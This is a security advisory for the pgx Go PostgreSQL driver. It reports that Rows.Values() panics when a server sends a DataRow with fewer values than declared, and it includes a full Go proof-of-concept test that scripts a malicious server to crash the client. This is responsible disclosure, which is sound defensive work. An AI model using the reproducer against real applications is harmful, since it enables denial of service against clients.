Skip to content

(*baseRows).Values() panics (index out of range) when a DataRow carries fewer values than the RowDescription declares

This report was submitted with AI assistance

Low
jackc published GHSA-w9rp-vfrh-q8vv Nov 11, 2026

Package

gomod github.com/jackc/pgx/v5 (Go)

Affected versions

<= 5.12.0

Patched versions

5.13.0

Description

Summary

A malicious or compromised PostgreSQL server (or an on-path attacker without TLS) can crash a client that calls Rows.Values() by sending a DataRow with fewer values than the RowDescription declared. Scan() has the equivalent check and returns an error; Values() does not.

Details

Affected: v5.11.0 and v5.12.0 (latest, released 2026-10-31). Earlier versions not checked.

Suggested severity: Low. CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9). Requires a malicious or compromised PostgreSQL server (or an on-path attacker where TLS is not used) and a caller that uses Rows.Values().

Summary: (*baseRows).Values() indexes the DataRow values by the number of fields in the RowDescription with no bounds check. A server that declares 3 columns and sends a DataRow with 1 value makes rows.Values() panic with runtime error: index out of range [1] with length 1 (rows.go, in Values). It is trivially reachable (a two-integer mutation finds it in under 30 ms of fuzzing). A library should return an error here, as Scan does.

Suggested fix: in Values(), return an error when len(values) != len(fieldDescriptions), mirroring Scan.

Disclosure: I plan to disclose publicly 90 days after your acknowledgment (or earlier by mutual agreement, or if the fix ships sooner). Happy to help with a patch or test.

Reporter: Andrei Beshkov, Keyorix (https://keyorix.com). Found by fuzzing the client side of the wire protocol; not a Keyorix exploit.

Proof of concept

Place as zzrepro/pgx_zz_repro_test.go in a pgx checkout at v5.12.0 and run go test -run TestZZ -v ./zzrepro/. It uses pgx's internal/pgmock to script a server: handshake, RowDescription with 3 text columns, DataRow with 1 value, CommandComplete, ReadyForQuery, with QueryExecModeSimpleProtocol; then rows.Next() followed by rows.Values().

Observed on v5.12.0: PANIC rows.Values(): runtime error: index out of range [1] with length 1

package zzrepro

import (
	"context"
	"net"
	"testing"
	"time"

	"github.com/jackc/pgx/v5"
	"github.com/jackc/pgx/v5/internal/pgmock"
	"github.com/jackc/pgx/v5/pgproto3"
)

func TestZZValuesMismatch(t *testing.T) {
	ln, err := net.Listen("tcp", "127.0.0.1:0")
	if err != nil { t.Fatal(err) }
	defer ln.Close()
	steps := []pgmock.Step{
		pgmock.ExpectAnyMessage(&pgproto3.StartupMessage{ProtocolVersion: pgproto3.ProtocolVersion30, Parameters: map[string]string{}}),
		pgmock.SendMessage(&pgproto3.AuthenticationOk{}),
		pgmock.SendMessage(&pgproto3.ParameterStatus{Name: "standard_conforming_strings", Value: "on"}),
		pgmock.SendMessage(&pgproto3.ParameterStatus{Name: "client_encoding", Value: "UTF8"}),
		pgmock.SendMessage(&pgproto3.BackendKeyData{ProcessID: 0, SecretKey: []byte{0, 0, 0, 0}}),
		pgmock.SendMessage(&pgproto3.ReadyForQuery{TxStatus: 'I'}),
	}
	steps = append(steps,
		pgmock.ExpectAnyMessage(&pgproto3.Query{}),
		pgmock.SendMessage(&pgproto3.RowDescription{Fields: []pgproto3.FieldDescription{
			{Name: []byte("a"), DataTypeOID: 25}, {Name: []byte("b"), DataTypeOID: 25}, {Name: []byte("c"), DataTypeOID: 25},
		}}),
		pgmock.SendMessage(&pgproto3.DataRow{Values: [][]byte{[]byte("x")}}),
		pgmock.SendMessage(&pgproto3.CommandComplete{CommandTag: []byte("SELECT 1")}),
		pgmock.SendMessage(&pgproto3.ReadyForQuery{TxStatus: 'I'}),
	)
	script := &pgmock.Script{Steps: steps}
	go func() {
		c, err := ln.Accept()
		if err != nil { return }
		defer c.Close()
		c.SetDeadline(time.Now().Add(5 * time.Second))
		script.Run(pgproto3.NewBackend(c, c))
	}()
	cfg, err := pgx.ParseConfig("postgres://u@" + ln.Addr().String() + "/d?sslmode=disable")
	if err != nil { t.Fatal(err) }
	cfg.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()
	conn, err := pgx.ConnectConfig(ctx, cfg)
	if err != nil { t.Fatal(err) }
	rows, err := conn.Query(ctx, "select 1")
	if err != nil { t.Fatal(err) }
	if !rows.Next() { t.Fatalf("no row, err=%v", rows.Err()) }
	func() {
		defer func() {
			if r := recover(); r != nil { t.Logf("PANIC rows.Values(): %v", r) } else { t.Logf("ok rows.Values(): no panic") }
		}()
		v, err := rows.Values()
		t.Logf("  values=%v err=%v", v, err)
	}()
}

Impact

Denial of service of the client process: a malicious or compromised PostgreSQL server (or an on-path attacker without TLS) can crash any application that calls Rows.Values() on a result it does not control, via an unrecovered runtime panic. No confidentiality or integrity impact identified.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs

Credits